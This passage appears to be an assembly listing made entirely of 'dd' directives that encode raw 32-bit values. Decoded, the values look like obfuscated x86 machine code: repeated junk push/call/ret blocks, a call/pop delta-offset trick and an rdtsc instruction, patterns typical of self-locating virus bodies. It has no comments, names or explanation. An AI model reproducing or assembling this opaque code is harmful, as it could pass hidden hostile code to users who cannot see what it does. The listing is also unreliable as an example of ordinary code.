		dd 719A985h, 89D3FF06h,	726B1B5h, 0C9958906h, 0FF06071Bh
		dd 70FA585h, 0DE906h, 0AAE30000h, 1D5429C2h, 5805BC79h
		dd 0E9E11133h, 7A8h, 0E8h, 0ED815D00h, 60AF95Ch, 1B859589h
		dd 0BD810607h, 6072CDDh, 7D0h, 15D860Fh, 0B5890000h, 6072BCDh
		dd 1C5D9D8Bh, 0B70F0607h, 816660F1h, 53A790D9h,	800Fh
		dd 615A0000h, 100E381h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0DB0BC8C3h, 0B8850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0FAA7C8C3h, 0EBBE943Fh, 831ED346h, 0AF762BDh
		dd 840F0006h, 37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A0C35545h, 0C2EC8531h, 5E89394Bh, 0FE8B6665h
		dd 0C4FAD8BFh, 88E97Fh,	70BE0000h, 0C77EF7A1h, 0AF76285h
		dd 106h, 49B58B00h, 0E906072Dh,	6Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 1CC35747h, 0FE81BAB1h, 5E526060h
		dd 7E9h, 0DA282100h, 200BF2D6h,	0F5950961h, 6106072Fh
		dd 85C7FE8Bh, 60AF762h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h
		dd 660E7143h, 5AEF81h, 2959B589h, 9D8D0607h, 6071C5Dh
		dd 1C599589h, 23810607h, 0FFFFFEFFh, 11E9F5h, 9B0D0000h
		dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 66398DB3h, 0BD8BDB8Ch
		dd 6070401h, 0F04C3F6h,	7684h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 11496DF7h
		dd 0E9EE33BFh, 0Dh, 0AC600D7Bh,	0A6004424h, 10A70EEAh
		dd 5D95FF99h, 6A060733h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3A54C353h, 90FB1998h
		dd 50FA8B66h, 0BE9h, 0B521A900h, 15A525EFh, 0DDE07B8Dh
		dd 0E5B58B90h, 0E9060703h, 312h, 2B6DB58Bh, 95310607h
		dd 6071DEDh, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F9BF30C3h, 0F28B70E6h, 0DAC78166h
		dd 6A71E445h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0B771C353h, 0D8B60F97h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 36C35343h, 6BAA0h
		dd 0BF0F0000h, 66C38BF1h, 0C169ABBFh, 8E0F04E8h, 0
		dd 6AE2F766h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 3E2CC351h, 0D82BE166h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 4BC35040h, 37D5553Ah
		dd 899D89CAh, 93060726h, 8B0Fh,	93500000h, 0B5FF5E52h
		dd 6072CDDh, 2709BD8Bh,	0BF0F0607h, 195FFF0h, 89060732h
		dd 718119Dh, 0FB8B6006h, 172DB531h, 0B0610607h,	44BF6600h
		dd 6A70E6C0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8FABC353h, 0F65C21DEh,	0DF81420Fh
		dd 519D9F54h, 0DBBE71E4h, 3C2B52B0h, 0CB830F61h, 66000001h
		dd 0F9251BEh, 0B58BD8B6h, 607168Dh, 6BAh, 5CBF6600h, 0C1C38BDEh
		dd 810F04E8h, 0
		dd 6AE2F766h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 589AC353h, 1337B4DEh, 9A4CBBBAh
		dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 2DA9DAC3h, 0FC278022h, 0B5BE6657h, 60585EA4h
		dd 29BDBD89h, 8D0B0607h, 6072B75h, 0FD82B61h, 14188h, 54C68100h
		dd 0B9286979h, 7, 8BF6BF0Fh, 70079B5h, 0C18306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CCC35747h, 0AEA485B9h
		dd 8589633Bh, 607259Dh,	860FD93Bh, 0FAh, 17C5B529h, 8D890607h
		dd 607228Dh, 6AD98C66h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C5D7C357h,	893A471Bh
		dd 0F65E53D9h, 840F04C1h, 99h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0A1C35040h,	0B257F987h, 2167AD7Ah
		dd 0F1BF0F8Bh, 335D95FFh, 0BD290607h, 6071241h,	50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BD6105Eh, 71AC1BDh,	3DC32B06h, 834h, 33860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 8DD63FC3h, 33CBE66h,	23B1BD89h, 2BE90607h, 29000000h
		dd 709A585h, 6AC08B06h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 1E90C350h, 5D7D4D37h
		dd 0C38BA7C1h, 6AD88Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 53755CC3h, 709FF369h, 85C7E784h
		dd 6073125h, 5F96A99Bh,	10E8h, 24C46600h, 188F95DCh, 0B15EFD22h
		dd 0EDD5EB24h, 0F7B70FE0h, 6AC08B5Fh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3B02C357h
		dd 83F5B507h, 8589673Fh, 6070995h, 2CDDBD81h, 7D00607h
		dd 850F0000h, 3Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 38C35545h, 19350513h,	85FF77FEh, 6072CDDh
		dd 5918589h, 850F0607h,	6, 32E9B529h, 0B5FF0607h, 6072CDDh
		dd 0CE8h, 0FF833500h, 0D2829AADh, 32CF400Bh, 0BE6651D4h
		dd 5F5F17B4h, 320195FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 664787C3h, 3EDA0068h
		dd 0F3BF0F84h, 9D958990h, 6A060730h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E273C355h
		dd 6AABDDCCh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0EE07C353h, 0FFD89853h, 816FC2E8h
		dd 8D26CBD6h, 6DB5090Dh, 6606071Ah, 6AF18Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 5662A2C3h
		dd 0FE938BBh, 30000000h, 0DBE17A7Eh, 0E21A1279h, 0C0955FADh
		dd 9E8CD3Bh, 3C000000h,	0B4F127h, 18A2ACB6h, 14E9h, 96336700h
		dd 0FBD675F1h, 0D5B40441h, 8F7FECF0h, 0A2D4162h, 6A5EE9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 7386CFC3h, 0BD0BFF7Ch, 60717E9h, 32198589h, 0AE90607h
		dd 7000000h, 78920EAFh,	0ECBE05B2h, 53006A4Dh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0D26F437Dh
		dd 49124EB6h, 0BD8B9988h, 6070F8Dh, 0FFF8B7E9h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0BDCFD19Ch, 0E7135270h, 0B53100A4h, 60717E1h, 92F5BE66h
		dd 258C0Fh, 890F0000h, 1Bh, 8B0Fh, 10E90000h, 7E000000h
		dd 768BF9D3h, 8C7435AEh, 77173C64h, 660BA105h, 66BBEEBEh
		dd 2652E781h, 9589C18Bh, 6070029h, 75B58B51h, 5E060719h
		dd 4EBh, 3F90000h, 71D09BDh, 25B52306h,	8D060717h, 71F1985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A1C94AE5h, 0F509027h, 1088h, 0BE900h, 66F40000h
		dd 364978CFh, 0CA58B624h, 6A909Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BF663CC3h, 6A3A3Ah
		dd 14E9h, 0ED4F1F00h, 77F89B82h, 58E5BEDCh, 8ABE7B93h
		dd 5CA403EBh, 6A006A6Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0A03BC351h,	0BF7080F5h
		dd 313858Dh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0AC9C5C3h, 89B7DE6Dh, 7102DB5h
		dd 5C08306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	2BC35646h, 6E271392h, 8658B2FDh, 6800Fh, 0BD030000h
		dd 6072B55h, 3085B58Bh,	66900607h, 9050F28Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 83C35545h, 6AAB40C7h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 9952C624h, 6A006ACFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C197C353h
		dd 8797B5D9h, 6057CF5Fh, 0BA9ABB66h, 95FF5F61h,	6071BCDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ECC35343h
		dd 0A67F8D51h, 9D8DBEBFh, 60AA5B7h, 8E9h, 0C300C700h, 775B2631h
		dd 6AD3FFE9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0A642C357h, 3F66E4C4h,	0BE9h
		dd 5096A000h, 0D1AA9039h, 0A92724EDh, 0FA585FFh, 0B58B0607h
		dd 6072CE5h, 7ECE9h, 0E800h, 815D0000h,	0B031DEDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 307FC7B8h, 81EF4E9Dh, 72CDDBDh, 7D006h, 26860F00h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 43DEC356h, 0A6D7AF86h, 9D8BA487h,	6071D85h
		dd 0E7EE8166h, 0E38137h, 51000001h, 0FDB0B5Eh, 6585h, 219D8900h
		dd 83060723h, 0B0111BDh, 840F0006h, 39h, 78E9h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E977A9B4h, 11h, 0D38E80F3h,	475F0F49h, 2D1380CEh, 377FA474h
		dd 1185C7F4h, 1060B01h,	89000000h, 71BC1BDh, 2FE906h, 0BF660000h
		dd 85C722A6h, 60B0111h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 49C35343h
		dd 3BD9CF4Dh, 859D8D34h, 6A06071Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B6DAC357h
		dd 0CA1C5D46h, 0E9BD2BA8h, 81060732h, 0FFFEFF23h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0C003E7C8h, 1421A6D9h, 0DB8C66F2h, 0F04C3F6h, 7B84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0A0BB9ECEh, 85B7BF75h, 0BF66C4D2h, 0AE9987Eh
		dd 3E000000h, 0CE40045Dh, 83E9116Bh, 5D95FF93h,	0BF060733h
		dd 502776F0h, 0D810Fh, 7E80000h, 3D000000h, 0C76369E3h
		dd 505EA9E0h, 8551BF66h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EE98C355h
		dd 3CCE9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 2F574C66h, 389E0DA1h, 6A00B0h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E601D5C3h, 8D896070h, 6072FDDh, 1D198589h, 89610607h
		dd 729A19Dh, 0F71E406h,	8B60D8B6h, 719D98Dh, 0D38B6606h
		dd 6BA61h, 8F0F0000h, 6, 15B1B58Bh, 0C38B0607h,	2BD9BD33h
		dd 0E8C10607h, 2810F04h, 8B000000h, 0E2F766F9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0D6C35040h, 0BE4EC281h
		dd 228A468Fh, 0B70FD82Bh, 15B50BF0h, 5006072Dh,	0C521BF53h
		dd 895E326Ah, 6A241Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0AC1CBFC3h, 0FFFC7CA0h, 72CDDB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 20F1FBA6h, 0CB3D0AF9h, 189BD33h,	95FF0607h
		dd 6073201h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0E5C35545h, 0B8BF506Ch,	824FAEB0h, 6A00B0h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 70E688C3h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	2C35747h, 59FE23B9h, 0A6509D0Ah, 6A71E43Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0ACF6C351h, 8D1ABFE2h, 0FC175BAh, 1301B589h,	613C0607h
		dd 20F830Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 61105FC3h, 9958960h, 0F060723h
		dd 284h, 615A5000h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BA7FC352h,	6, 1ABE6652h
		dd 0C38B5E81h, 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0C376C355h,	5296E68Fh
		dd 1D45B529h, 665E0607h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 887451C3h, 8968875Ah
		dd 72BD195h, 95BD8B06h,	2B060709h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E681667Dh
		dd 6A5897DFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 788CC356h, 0F74C069Ch,	0F9F18B71h
		dd 880FD82Bh, 109h, 3321BD8Bh, 7B90607h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 7FFAC352h, 0B17CCD8Dh, 826CCF1Ah, 0C183F08Bh, 0FD93B00h
		dd 0CC86h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0AF10CD59h, 3D1BABB1h, 8C66C592h
		dd 25BD89D9h, 0BE06072Bh, 307432E7h, 0F04C1F6h,	7A84h
		dd 0CDBD8900h, 0FF060721h, 7335D95h, 5BF18B06h,	8B66C32Bh
		dd 8343DF9h, 860F0000h,	5Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0EC35343h, 0CF07A59Fh, 66607213h
		dd 8BD28BB8h, 73151BDh,	0BE666106h, 3AE9D9BEh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 3B9FC350h, 0A2E4D0C2h, 8BAA2B60h,	0FE9C0h
		dd 860000h, 3610FE48h, 364E526Dh, 0CE64F683h, 8BC38B07h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 4B0E063Eh, 0CC5743E5h, 29BD8B80h, 0C706071Dh
		dd 71C5D85h, 849FB506h,	51006A31h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0BCA0EC83h, 57EB6062h
		dd 64DDDF81h, 895E2C6Ah, 712559Dh, 0FCBE6606h, 8BC08B0Bh
		dd 0DDBD81F8h, 0D006072Ch, 0F000007h, 1585h, 89BD8B00h
		dd 0FF060731h, 72CDD85h, 3800F06h, 0F000000h, 0B5FFF1BFh
		dd 6072CDDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0BFC35646h, 195FF35h, 6A060732h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3A8FC355h
		dd 0FE8B2C01h, 19958952h, 5E06071Dh, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 5353DC3Ah
		dd 32ADB58Bh, 0B5230607h, 6071EE1h, 7185295Eh, 6A060717h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0EFE5C357h, 0BD8979D5h, 60730EDh,	31F9B70Fh
		dd 72DB18Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0E809BDDEh, 0CABEBB3Ch, 0C412BF66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E6C35747h
		dd 0B6D62682h, 89B5032Ah, 8B06071Ah, 701EDB5h, 0B9B58906h
		dd 6A06072Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0EC2DC352h, 52006AF9h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 16AC8A59h
		dd 40EF6AB6h, 52006A43h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 5C0FFC0h,	1A51B529h, 2BBE0607h, 0E9503CCCh
		dd 0FFFFF831h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	96C35141h, 6AC18BCFh, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 302DC356h, 5865E95Bh
		dd 5FC12513h, 15A5BB60h, 0F610D34h, 688h, 0BDB58B00h, 0EB06071Ah
		dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 6A77E323h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1DC1C351h, 0BF0FD5C4h
		dd 499D89FAh, 8D06071Eh, 71F1985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0AD2A1D37h
		dd 52505057h, 310F5250h, 585A6160h, 585A310Fh, 0F240489h
		dd 0E85h, 9E900h, 8C960000h, 0A408678Eh, 6AF01C83h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0E9A4BE8Dh, 6049AAB8h, 3174BE66h, 1D19B589h
		dd 6A610607h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 3D008124h, 0E248B4B9h, 16E1BD8Bh
		dd 858D0607h, 60B0DBCh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0FBC35040h, 7D4656F7h, 0BF0FE4C8h, 0DE9F2h
		dd 0A6DA0000h, 0C36A72ACh, 393AD7E3h, 831DD1FAh, 6A05C0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9C3355C3h, 9B1260F3h, 0BD29FF68h, 6072A0Dh, 4B59BF90h
		dd 0F5021F4h, 488h, 2BBF6600h, 6A9029h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1F3E77C3h
		dd 0A39A3484h, 13FEBE66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0F3EF73C3h, 0D4BEBD45h
		dd 818D01DAh, 6A06071Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 96447F5h, 83381h, 12E9h
		dd 0A3EE1700h, 0DBC2DCFBh, 7B71E680h, 0ADDB75F4h, 93CC4BEh
		dd 703ED95h, 0CD95FF06h, 6A06071Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B7C1C352h
		dd 90AEEB67h, 9D8D1E49h, 60AA5B7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 59C35343h, 0FFAB4549h, 52006AD3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 6C90CBDCh, 29B58B4Dh, 0FF06072Ah, 70FA585h, 84DE906h
		dd 0E80000h, 5D000000h,	0DC6ED81h, 0F56060Bh, 682h, 89958900h
		dd 5F060721h, 2CDDBD81h, 7D00607h, 860F0000h, 14Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 86C35141h, 7C8344C5h
		dd 51D0956Fh, 419D8B69h, 8B060709h, 0E381FEh, 0BE000001h
		dd 6E569AABh, 850FDB0Bh, 0A8h, 12F19589h, 0BD830607h, 60B0B40h
		dd 25840F00h, 60000000h, 6820Fh, 0BD8B0000h, 6072C35h
		dd 6880Fh, 8D890000h, 6073221h,	0B5E961h, 0BD890000h, 6071DCDh
		dd 0B4085C7h, 1060Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 6608E9C3h, 3F512E1Bh
		dd 0FE83525h, 0F0000000h, 0DE3FE4CBh, 57F0E611h, 612CDF3h
		dd 0BF669F6Ah, 0E95FE951h, 63h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 9CC35343h, 8D29DB98h, 60720BDh
		dd 0B4085C7h, 60Bh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0BC876EC3h, 0C1FC3C1Bh
		dd 43C781D0h, 330B682Fh, 71069B5h, 9DB58B06h, 8D060703h
		dd 709419Dh, 0FE906h, 0EA780000h, 75A2E360h, 92C5BCB9h
		dd 0FB87833Dh, 0FF2381E0h, 8BFFFFFEh, 70AC5BDh,	0DB8C6606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 28C35646h
		dd 8A0FC2F9h, 6, 2D258589h, 0C3F60607h,	32840F04h, 66000000h
		dd 0FFD980BEh, 7335D95h, 59BF6606h, 57509009h, 13810Fh
		dd 0DE80000h, 2B000000h, 46F64562h, 8FE7F49Dh, 8D4503DAh
		dd 8B905E5Fh, 72DA5B5h,	456E906h, 9D890000h, 6072379h
		dd 858900B0h, 60706B9h,	2D258D29h, 70E60607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9AC35141h, 666071E4h
		dd 6E8C28Bh, 0CF000000h, 0CBCD02EDh, 1B52BE3h, 5E06071Dh
		dd 0D8B60F61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0E1C35040h, 0D794C217h,	37E78166h, 6BAB2h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 61EF31C3h, 233B364h,	0C38B5663h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 4FC35242h, 0F88BFFB0h, 8904E8C1h
		dd 715ED95h, 0E2F76606h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 39C35646h, 0BB053120h, 1E68166h, 6AD82B18h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 5A99C355h, 12AF5BBEh, 90435020h, 3ECDD681h
		dd 8B936E5Bh, 8B6650FAh, 0BD2393FBh, 6072011h, 2CDDB5FFh
		dd 56570607h, 7E9h, 8C4B4700h, 73EEE72Dh, 95FF5E5Eh, 6073201h
		dd 0F6000B0h, 0BD31F3B7h, 6072669h, 0E6F98B61h,	0F28B6670h
		dd 71E4FB8Bh, 288E0Fh, 0CE80000h, 0B1000000h, 75D18293h
		dd 0A7020FB6h, 0E9D83A94h, 11h,	0D02ADD7h, 61BF4F81h, 67261554h
		dd 737D13D0h, 613C5E9Dh, 2C2830Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9D5D61C3h
		dd 0F76359D9h, 8B6624AEh, 0D8B60FFAh, 6BAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 7788670Eh, 0FE40D4ECh, 0C18589D8h, 8906071Bh, 721B1B5h
		dd 0E9C38B06h, 0Ah, 35FC7027h, 88D508Ah, 0E8C1B9AAh, 0BD8D8904h
		dd 66060705h, 0BE8E2F7h, 75000000h, 7F819D15h, 9543C30Ah
		dd 11E92C4Ch, 9E000000h, 1445F829h, 0EA8E3936h,	0FEAB0E26h
		dd 2DDD8611h, 0FD82B5Fh, 8Bh, 0FE900h, 13510000h, 6A3F50ECh
		dd 81B3F22Eh, 6E51CFB5h, 6A5887h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0FBFF61C3h, 48F0Fh, 0BF660000h
		dd 0D82BFCFCh, 1D2880Fh, 95890000h, 6071E79h, 7B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 42B4EBE5h, 0BB975975h, 6A00C183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9598C352h
		dd 35DDDED3h, 0E88D7261h, 6, 87E77C3Bh,	99BFB66Fh, 5F6A18E5h
		dd 5E960h, 4A670000h, 806DB6F3h, 3B6140D1h, 55860FD9h
		dd 0F000001h, 684h, 71BD0900h, 6606070Ah, 8B66D98Ch, 4C1F6FBh
		dd 115840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 5D18B0C3h, 0CE9h, 0BC7C400h, 0DEE107A7h
		dd 0F0001E83h, 0D1BD8B61h, 0FF060717h, 7335D95h, 61B52306h
		dd 5B060712h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	1BC35141h, 6DACF721h, 755BCC60h, 0B52B5178h, 6072015h
		dd 65BE605Eh, 605F7902h, 7419529h, 5E90607h, 0CD000000h
		dd 0C065C51h, 0C32B6161h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 95C35747h, 45D8AE03h,	24A34B4h, 68C0Fh
		dd 0B58B0000h, 6070971h, 8343Dh, 50860F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0CFBEC353h, 0E9B8B5C0h, 50h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 9DC35141h, 0C9A2FCAh
		dd 5840Fh, 0EBBF0000h, 8B60E547h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0CA433FDh
		dd 0DFF6ACEAh, 0D88BC38Bh, 715B503h
		dd 85C70607h, 6071D85h,	51DC67B3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A6C35141h,	0C0696E1Bh, 0D4EE81CFh
		dd 60691342h, 14E9h, 0F3F9AB00h, 528C9AAFh, 5633A7F7h
		dd 0D9CB338Ah, 0BC5B35CFh, 0C08B616Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 74C35646h, 0BD81F18Bh, 6072CDDh
		dd 7D0h, 13850Fh, 0D7810000h, 5EEA51CDh, 2CDD85FFh, 850F0607h
		dd 1, 0DDB5FFFCh, 6A06072Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 771C351h, 0CF3457DBh
		dd 0F4F6066h, 95FFFABFh, 6073201h, 7E1BD8Bh, 6A900607h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2AB3C351h, 63CF8166h, 55006A3Dh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 1F0A13C7h
		dd 660D36F0h, 66F3A2BEh, 0E9120BBEh, 0Fh, 8061B3D2h, 88A3752Ch
		dd 9F15BF23h, 8BD73162h, 703D1BDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 3FCC0419h
		dd 6A8236h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 5EF55EC3h, 0B300D7B9h, 0CE82Fh, 0A7C40000h
		dd 6440BA36h, 63065D60h, 8D31EBBAh, 6070535h, 7E95Eh, 521A0000h
